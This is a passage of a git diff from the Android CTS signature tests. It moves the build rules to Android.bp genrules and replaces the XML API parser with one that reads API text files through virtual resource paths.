- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
- <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
- <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
- <!-- This zip file contains all versions of system APIs that the platform is supposed to implement -->
- <option name="push" value="system-all.api.zip->/data/local/tmp/signature-test/system-all.api.zip" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemApiSignatureTestCases.apk" />
@@ -37,9 +26,9 @@
<option name="package" value="android.signature.cts.api.system" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.system.SignatureTest" />
- <option name="instrumentation-arg" key="base-api-files" value="current.api" />
- <option name="instrumentation-arg" key="expected-api-files" value="system-all.api.zip" />
- <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+ <option name="instrumentation-arg" key="expected-api-files" value="system-current.txt,system-removed.txt,system-all.txt.zip" />
+ <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.txt,android-test-runner-current.txt" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
new file mode 100644
index 0000000..8c3e12a
--- /dev/null
+++ b/tests/signature/api/Android.bp
@@ -0,0 +1,126 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+default_visibility = [
+ "//cts/tests/signature/api-check:__subpackages__",
+ "//cts/tests/signature/intent-check",
+]
+
+genrule {
+ name: "cts-current-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":frameworks-base-api-current.txt",
+ ],
+ out: [
+ "current.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
+
+genrule {
+ name: "cts-system-current-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":frameworks-base-api-system-current.txt",
+ ],
+ out: [
+ "system-current.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
+
+genrule {
+ name: "cts-system-removed-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":frameworks-base-api-system-removed.txt",
+ ],
+ out: [
+ "system-removed.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
+
+genrule {
+ name: "cts-android-test-base-current-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":android-test-base-current.txt",
+ ],
+ out: [
+ "android-test-base-current.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
+
+genrule {
+ name: "cts-android-test-mock-current-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":android-test-mock-current.txt",
+ ],
+ out: [
+ "android-test-mock-current.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
+
+genrule {
+ name: "cts-android-test-runner-current-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":android-test-runner-current.txt",
+ ],
+ out: [
+ "android-test-runner-current.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
+
+genrule {
+ name: "cts-apache-http-legacy-current-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":apache-http-legacy-current.txt",
+ ],
+ out: [
+ "apache-http-legacy-current.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
+
+genrule {
+ name: "cts-car-system-current-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":car-api-system-current.txt",
+ ],
+ out: [
+ "car-system-current.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
+
+genrule {
+ name: "cts-car-system-removed-txt",
+ visibility: default_visibility,
+ srcs: [
+ ":car-api-system-removed.txt",
+ ],
+ out: [
+ "car-system-removed.txt",
+ ],
+ cmd: "cp $(in) $(out)",
+}
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 0dedf0d..96afc10 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -16,9 +16,9 @@
LOCAL_PATH := $(call my-dir)
-# $(1) name of the xml file to be created
+# $(1) name of the txt file to be created
# $(2) path to the api text file
-define build_xml_api_file
+define copy_api_txt_file
include $(CLEAR_VARS)
LOCAL_MODULE := cts-$(subst .,-,$(1))
LOCAL_MODULE_STEM := $(1)
@@ -26,27 +26,13 @@
LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
include $(BUILD_SYSTEM)/base_rules.mk
$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
- @echo "Convert API file $$< -> $$@"
- @mkdir -p $$(dir $$@)
- $(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
+ @echo "Copying API file $$< -> $$@"
+ $$(copy-file-to-target)
endef
-# NOTE: the output XML file is also used
-# in //cts/hostsidetests/devicepolicy/AndroidTest.xml
-# by com.android.cts.managedprofile.CurrentApiHelper
-# ============================================================
-$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
-$(eval $(call build_xml_api_file,system-current.api,frameworks/base/api/system-current.txt))
-$(eval $(call build_xml_api_file,system-removed.api,frameworks/base/api/system-removed.txt))
-$(eval $(call build_xml_api_file,apache-http-legacy-current.api,external/apache-http/api/current.txt))
-$(eval $(call build_xml_api_file,android-test-base-current.api,frameworks/base/test-base/api/current.txt))
-$(eval $(call build_xml_api_file,android-test-mock-current.api,frameworks/base/test-mock/api/current.txt))
-$(eval $(call build_xml_api_file,android-test-runner-current.api,frameworks/base/test-runner/api/current.txt))
-$(eval $(call build_xml_api_file,car-system-current.api,packages/services/Car/car-lib/api/system-current.txt))
-$(eval $(call build_xml_api_file,car-system-removed.api,packages/services/Car/car-lib/api/system-removed.txt))
$(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
$(if $(call math_is_number,$(ver)),\
- $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/$(ver)/system/api/android.txt))\
+ $(eval $(call copy_api_txt_file,system-$(ver).txt,prebuilts/sdk/$(ver)/system/api/android.txt))\
)\
)
@@ -54,4 +40,4 @@
$(foreach api_level,public system,\
$(foreach lib,$(filter-out android,$(filter-out %removed,\
$(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt))))),\
- $(eval $(call build_xml_api_file,$(lib)-$(ver)-$(api_level).api,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)))))
+ $(eval $(call copy_api_txt_file,$(lib)-$(ver)-$(api_level).txt,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)))))
diff --git a/tests/signature/intent-check/Android.bp b/tests/signature/intent-check/Android.bp
new file mode 100644
index 0000000..299e2b7
--- /dev/null
+++ b/tests/signature/intent-check/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsIntentSignatureTestCases",
+ defaults: ["cts_defaults"],
+
+ srcs: ["src/**/*.java"],
+ java_resources: [
+ ":cts-current-txt",
+ ":cts-system-current-txt",
+ ":cts-system-removed-txt",
+ ],
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+
+ sdk_version: "test_current",
+
+ static_libs: [
+ "compatibility-device-util-axt",
+ "androidx.test.rules",
+ "cts-signature-common",
+ ],
+
+ host_required: ["cts-dynamic-config"],
+}
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
deleted file mode 100644
index be3fb26..0000000
--- a/tests/signature/intent-check/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsIntentSignatureTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util-axt \
- androidx.test.rules \
- cts-signature-common \
-
-LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
-
-LOCAL_REQUIRED_MODULES := \
- cts-current-api \
- cts-system-current-api \
- cts-system-removed-api
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
index e76cd79..40968ec 100644
--- a/tests/signature/intent-check/AndroidTest.xml
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -34,21 +34,13 @@
<option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
<option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsIntentSignatureTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.signature.cts.intent" />
+ <option name="class" value="android.signature.cts.intent.IntentTest" />
<option name="runtime-hint" value="10s" />
<!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
<option name="isolated-storage" value="false" />
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
index af5c4b9..0195dc4 100644
--- a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -15,14 +15,11 @@
*/
package android.signature.cts.intent;
-import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_REMOVED_API_FILE;
-
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.signature.cts.ApiDocumentParser;
import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.VirtualPath;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
@@ -30,16 +27,15 @@
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import java.io.IOException;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import org.xmlpull.v1.XmlPullParserException;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
-import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashSet;
import java.util.List;
@@ -51,9 +47,16 @@
*/
@RunWith(AndroidJUnit4.class)
public class IntentTest {
+
+ private static final String CURRENT_API_RESOURCE = "current.txt";
+
+ private static final String SYSTEM_CURRENT_API_RESOURCE = "system-current.txt";
+
+ private static final String SYSTEM_REMOVED_API_RESOURCE = "system-removed.txt";
+
private static final String TAG = IntentTest.class.getSimpleName();
- private static final File SIGNATURE_TEST_PACKGES =
+ private static final File SIGNATURE_TEST_PACKAGES =
new File("/data/local/tmp/signature-test-packages");
private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
private static final String ACTION_LINE_PREFIX = " Action: ";
@@ -110,26 +113,23 @@
Assert.assertTrue(errors.toString(), errors.isEmpty());
}
- private Set<String> lookupPlatformIntents() {
- try {
- Set<String> intents = new HashSet<>();
- intents.addAll(parse(CURRENT_API_FILE));
- intents.addAll(parse(SYSTEM_CURRENT_API_FILE));
- intents.addAll(parse(SYSTEM_REMOVED_API_FILE));
- return intents;
- } catch (XmlPullParserException | IOException e) {
- throw new RuntimeException("failed to parse", e);
- }
+ private Set<String> lookupPlatformIntents() throws IOException {
+ Set<String> intents = new HashSet<>();
+ intents.addAll(parse(CURRENT_API_RESOURCE));
+ intents.addAll(parse(SYSTEM_CURRENT_API_RESOURCE));
+ intents.addAll(parse(SYSTEM_REMOVED_API_RESOURCE));
+ return intents;
}
- private static Set<String> parse(String apiFileName)
- throws XmlPullParserException, IOException {
+ private static Set<String> parse(String apiResourceName) throws IOException {
Set<String> androidIntents = new HashSet<>();
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- apiDocumentParser.parseAsStream(new FileInputStream(new File(apiFileName))).forEach(
+ VirtualPath.ResourcePath virtualPath =
+ VirtualPath.get(IntentTest.class.getClassLoader(), apiResourceName);
+ apiDocumentParser.parseAsStream(virtualPath).forEach(
classDescription -> {
for (JDiffField diffField : classDescription.getFieldList()) {
String fieldValue = diffField.getValueString();
@@ -155,7 +155,7 @@
private static Set<String> lookupActiveIntents(String packageName) {
HashSet<String> activeIntents = new HashSet<>();
- File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
+ File dumpsysPackage = new File(SIGNATURE_TEST_PACKAGES, packageName + ".txt");
if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
}
diff --git a/tests/signature/lib/android/Android.bp b/tests/signature/lib/android/Android.bp
index 55066ad..7b0e679 100644
--- a/tests/signature/lib/android/Android.bp
+++ b/tests/signature/lib/android/Android.bp
@@ -12,11 +12,19 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-java_library_static {
- name: "cts-signature-common",
- host_supported: false,
- installable: false,
- srcs: ["src/**/*.java"],
- static_libs: ["signature-common-javalib"],
- sdk_version: "current",
+java_library {
+ name: "cts-signature-common",
+ visibility: [
+ "//cts/tests/signature:__subpackages__",
+ ],
+ installable: false,
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.kt",
+ ],
+ static_libs: [
+ "signature-common-javalib",
+ "metalava",
+ ],
+ sdk_version: "current",
}
diff --git a/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java b/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
index 18afa98..78027d4 100644
--- a/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
+++ b/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
@@ -15,32 +15,8 @@
*/
package android.signature.cts;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
-import static android.signature.cts.CurrentApi.TAG_CLASS;
-import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
-import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
-import static android.signature.cts.CurrentApi.TAG_FIELD;
-import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
-import static android.signature.cts.CurrentApi.TAG_INTERFACE;
-import static android.signature.cts.CurrentApi.TAG_METHOD;
-import static android.signature.cts.CurrentApi.TAG_PACKAGE;
-import static android.signature.cts.CurrentApi.TAG_PARAM;
-import static android.signature.cts.CurrentApi.TAG_ROOT;
-
-import android.util.Log;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.Spliterator;
-import java.util.function.Consumer;
import java.util.stream.Stream;
-import java.util.stream.StreamSupport;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
+
/**
* Parses an XML api definition file and constructs and populates an {@link JDiffClassDescription}
@@ -50,177 +26,25 @@
*/
public class ApiDocumentParser {
- private static final Set<String> KEY_TAG_SET;
- static {
- KEY_TAG_SET = new HashSet<>();
- Collections.addAll(KEY_TAG_SET,
- TAG_PACKAGE,
- TAG_CLASS,
- TAG_INTERFACE,
- TAG_IMPLEMENTS,
- TAG_CONSTRUCTOR,
- TAG_METHOD,
- TAG_PARAM,
- TAG_EXCEPTION,
- TAG_FIELD);
- }
-
private final String tag;
- private final XmlPullParserFactory factory;
-
- public ApiDocumentParser(String tag) throws XmlPullParserException {
+ public ApiDocumentParser(String tag) {
this.tag = tag;
- factory = XmlPullParserFactory.newInstance();
}
- public Stream<JDiffClassDescription> parseAsStream(InputStream inputStream)
- throws XmlPullParserException, IOException {
- XmlPullParser parser = factory.newPullParser();
- parser.setInput(inputStream, null);
- return StreamSupport.stream(new ClassDescriptionSpliterator(parser), false);
- }
-
- private class ClassDescriptionSpliterator implements Spliterator<JDiffClassDescription> {
-
- private final XmlPullParser parser;
-
- JDiffClassDescription currentClass = null;
- String currentPackage = "";
- JDiffClassDescription.JDiffMethod currentMethod = null;
-
- ClassDescriptionSpliterator(XmlPullParser parser) throws IOException, XmlPullParserException {
- this.parser = parser;
- logd(String.format("Name: %s", parser.getName()));
- logd(String.format("Text: %s", parser.getText()));
- logd(String.format("Namespace: %s", parser.getNamespace()));
- logd(String.format("Line Number: %s", parser.getLineNumber()));
- logd(String.format("Column Number: %s", parser.getColumnNumber()));
- logd(String.format("Position Description: %s", parser.getPositionDescription()));
- beginDocument(parser, TAG_ROOT);
- }
-
- @Override
- public boolean tryAdvance(Consumer<? super JDiffClassDescription> action) {
- JDiffClassDescription classDescription;
- try {
- classDescription = next();
- } catch (IOException|XmlPullParserException e) {
- throw new RuntimeException(e);
- }
-
- if (classDescription == null) {
- return false;
- }
- action.accept(classDescription);
- return true;
- }
-
- @Override
- public Spliterator<JDiffClassDescription> trySplit() {
- return null;
- }
-
- @Override
- public long estimateSize() {
- return Long.MAX_VALUE;
- }
-
- @Override
- public int characteristics() {
- return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
- }
-
- private void beginDocument(XmlPullParser parser, String firstElementName)
- throws XmlPullParserException, IOException {
- int type;
- do {
- type = parser.next();
- } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT);
-
- if (type != XmlPullParser.START_TAG) {
- throw new XmlPullParserException("No start tag found");
- }
-
- if (!parser.getName().equals(firstElementName)) {
- throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
- ", expected " + firstElementName);
- }
- }
-
- private JDiffClassDescription next() throws IOException, XmlPullParserException {
- int type;
- while (true) {
- do {
- type = parser.next();
- } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT
- && type != XmlPullParser.END_TAG);
-
- if (type == XmlPullParser.END_DOCUMENT) {
- logd("Reached end of document");
- break;
- }
-
- String tagname = parser.getName();
- if (type == XmlPullParser.END_TAG) {
- if (TAG_CLASS.equals(tagname) || TAG_INTERFACE.equals(tagname)) {
- logd("Reached end of class: " + currentClass);
- return currentClass;
- } else if (TAG_PACKAGE.equals(tagname)) {
- currentPackage = "";
- }
- continue;
- }
-
- if (!KEY_TAG_SET.contains(tagname)) {
- continue;
- }
-
- if (tagname.equals(TAG_PACKAGE)) {
- currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
- } else if (tagname.equals(TAG_CLASS)) {
- currentClass = CurrentApi.loadClassInfo(
- parser, false, currentPackage);
- } else if (tagname.equals(TAG_INTERFACE)) {
- currentClass = CurrentApi.loadClassInfo(
- parser, true, currentPackage);
- } else if (tagname.equals(TAG_IMPLEMENTS)) {
- currentClass.addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
- } else if (tagname.equals(TAG_CONSTRUCTOR)) {
- JDiffClassDescription.JDiffConstructor constructor =
- CurrentApi.loadConstructorInfo(parser, currentClass);
- currentClass.addConstructor(constructor);
- currentMethod = constructor;
- } else if (tagname.equals(TAG_METHOD)) {
- currentMethod = CurrentApi.loadMethodInfo(currentClass.getClassName(), parser);
- currentClass.addMethod(currentMethod);
- } else if (tagname.equals(TAG_PARAM)) {
- currentMethod.addParam(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
- } else if (tagname.equals(TAG_EXCEPTION)) {
- currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
- } else if (tagname.equals(TAG_FIELD)) {
- JDiffClassDescription.JDiffField field = CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
- currentClass.addField(field);
- } else {
- throw new RuntimeException(
- "unknown tag exception:" + tagname);
- }
- if (currentPackage != null) {
- logd(String.format("currentPackage: %s", currentPackage));
- }
- if (currentClass != null) {
- logd(String.format("currentClass: %s", currentClass.toSignatureString()));
- }
- if (currentMethod != null) {
- logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
- }
- }
-
- return null;
+ private ApiParser getApiParser(VirtualPath path) {
+ if (path.toString().endsWith(".txt")) {
+ return new TextApiParser();
+ } else if (path.toString().endsWith(".api")) {
+ return new XmlApiParser(tag);
+ } else {
+ throw new IllegalStateException("Unrecognized file type: " + path);
}
}
- private void logd(String msg) {
- Log.d(tag, msg);
+ public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+ ApiParser parser = getApiParser(path);
+
+ return parser.parseAsStream(path);
}
}
diff --git a/tests/signature/lib/android/src/android/signature/cts/ApiParser.java b/tests/signature/lib/android/src/android/signature/cts/ApiParser.java
new file mode 100644
index 0000000..15444cc
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/ApiParser.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.util.stream.Stream;
+
+/**
+ * Base class for parsers of API specification.
+ */
+abstract class ApiParser {
+
+ /**
+ * Parse the contents of the path and generate a stream of {@link JDiffClassDescription}
+ * instances.
+ *
+ * @param path the path to the API specification.
+ * @return the stream of {@link JDiffClassDescription} instances.
+ */
+ abstract Stream<JDiffClassDescription> parseAsStream(VirtualPath path);
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java b/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java
index 611bcb5..c5e0d16 100644
--- a/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java
+++ b/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java
@@ -15,14 +15,6 @@
*/
package android.signature.cts;
-import android.signature.cts.JDiffClassDescription.JDiffConstructor;
-import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.signature.cts.JDiffClassDescription.JDiffMethod;
-
-import java.lang.reflect.Modifier;
-
-import org.xmlpull.v1.XmlPullParser;
-
/**
* Helper methods and constants used for parsing the current api file.
*/
@@ -32,159 +24,4 @@
public static final String API_FILE_DIRECTORY = "/data/local/tmp/signature-test";
- public static final String CURRENT_API_FILE =
- API_FILE_DIRECTORY + "/current.api";
- public static final String SYSTEM_CURRENT_API_FILE =
- API_FILE_DIRECTORY + "/system-current.api";
- public static final String SYSTEM_REMOVED_API_FILE =
- API_FILE_DIRECTORY + "/system-removed.api";
-
- static final String TAG_ROOT = "api";
- static final String TAG_PACKAGE = "package";
- static final String TAG_CLASS = "class";
- static final String TAG_INTERFACE = "interface";
- static final String TAG_IMPLEMENTS = "implements";
- static final String TAG_CONSTRUCTOR = "constructor";
- static final String TAG_METHOD = "method";
- static final String TAG_PARAM = "parameter";
- static final String TAG_EXCEPTION = "exception";
- static final String TAG_FIELD = "field";
-
- private static final String MODIFIER_ABSTRACT = "abstract";
- private static final String MODIFIER_FINAL = "final";
- private static final String MODIFIER_NATIVE = "native";
- private static final String MODIFIER_PRIVATE = "private";
- private static final String MODIFIER_PROTECTED = "protected";
- private static final String MODIFIER_PUBLIC = "public";
- private static final String MODIFIER_STATIC = "static";
- private static final String MODIFIER_SYNCHRONIZED = "synchronized";
- private static final String MODIFIER_TRANSIENT = "transient";
- private static final String MODIFIER_VOLATILE = "volatile";
- private static final String MODIFIER_VISIBILITY = "visibility";
-
- static final String ATTRIBUTE_NAME = "name";
- private static final String ATTRIBUTE_VALUE = "value";
- private static final String ATTRIBUTE_EXTENDS = "extends";
- static final String ATTRIBUTE_TYPE = "type";
- private static final String ATTRIBUTE_RETURN = "return";
-
- /**
- * Load field information from xml to memory.
- *
- * @param className of the class being examined which will be shown in error messages
- * @param parser The XmlPullParser which carries the xml information.
- * @return the new field
- */
- static JDiffField loadFieldInfo(String className, XmlPullParser parser) {
- String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
- String fieldType = parser.getAttributeValue(null, ATTRIBUTE_TYPE);
- int modifier = jdiffModifierToReflectionFormat(className, parser);
- String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
- return new JDiffField(fieldName, fieldType, modifier, value);
- }
-
- /**
- * Load method information from xml to memory.
- *
- * @param className of the class being examined which will be shown in error messages
- * @param parser The XmlPullParser which carries the xml information.
- * @return the newly loaded method.
- */
- static JDiffMethod loadMethodInfo(String className, XmlPullParser parser) {
- String methodName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
- String returnType = parser.getAttributeValue(null, ATTRIBUTE_RETURN);
- int modifier = jdiffModifierToReflectionFormat(className, parser);
- return new JDiffMethod(methodName, modifier, returnType);
- }
-
- /**
- * Load constructor information from xml to memory.
- *
- * @param parser The XmlPullParser which carries the xml information.
- * @param currentClass the current class being loaded.
- * @return the new constructor
- */
- static JDiffConstructor loadConstructorInfo(
- XmlPullParser parser, JDiffClassDescription currentClass) {
- String name = currentClass.getClassName();
- int modifier = jdiffModifierToReflectionFormat(name, parser);
- return new JDiffConstructor(name, modifier);
- }
-
- /**
- * Load class or interface information to memory.
- *
- * @param parser The XmlPullParser which carries the xml information.
- * @param isInterface true if the current class is an interface, otherwise is false.
- * @param pkg the name of the java package this class can be found in.
- * @return the new class description.
- */
- static JDiffClassDescription loadClassInfo(
- XmlPullParser parser, boolean isInterface, String pkg) {
- String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
- JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
-
- currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
- currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
- JDiffClassDescription.JDiffType.CLASS);
- currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
- return currentClass;
- }
-
- /**
- * Convert string modifier to int modifier.
- *
- * @param name of the class/method/field being examined which will be shown in error messages
- * @param key modifier name
- * @param value modifier value
- * @return converted modifier value
- */
- private static int modifierDescriptionToReflectedType(String name, String key, String value) {
- if (key.equals(MODIFIER_ABSTRACT)) {
- return value.equals("true") ? Modifier.ABSTRACT : 0;
- } else if (key.equals(MODIFIER_FINAL)) {
- return value.equals("true") ? Modifier.FINAL : 0;
- } else if (key.equals(MODIFIER_NATIVE)) {
- return value.equals("true") ? Modifier.NATIVE : 0;
- } else if (key.equals(MODIFIER_STATIC)) {
- return value.equals("true") ? Modifier.STATIC : 0;
- } else if (key.equals(MODIFIER_SYNCHRONIZED)) {
- return value.equals("true") ? Modifier.SYNCHRONIZED : 0;
- } else if (key.equals(MODIFIER_TRANSIENT)) {
- return value.equals("true") ? Modifier.TRANSIENT : 0;
- } else if (key.equals(MODIFIER_VOLATILE)) {
- return value.equals("true") ? Modifier.VOLATILE : 0;
- } else if (key.equals(MODIFIER_VISIBILITY)) {
- if (value.equals(MODIFIER_PRIVATE)) {
- throw new RuntimeException("Private visibility found in API spec: " + name);
- } else if (value.equals(MODIFIER_PROTECTED)) {
- return Modifier.PROTECTED;
- } else if (value.equals(MODIFIER_PUBLIC)) {
- return Modifier.PUBLIC;
- } else if ("".equals(value)) {
- // If the visibility is "", it means it has no modifier.
- // which is package private. We should return 0 for this modifier.
- return 0;
- } else {
- throw new RuntimeException("Unknown modifier found in API spec: " + value);
- }
- }
- return 0;
- }
-
- /**
- * Transfer string modifier to int one.
- *
- * @param name of the class/method/field being examined which will be shown in error messages
- * @param parser XML resource parser
- * @return converted modifier
- */
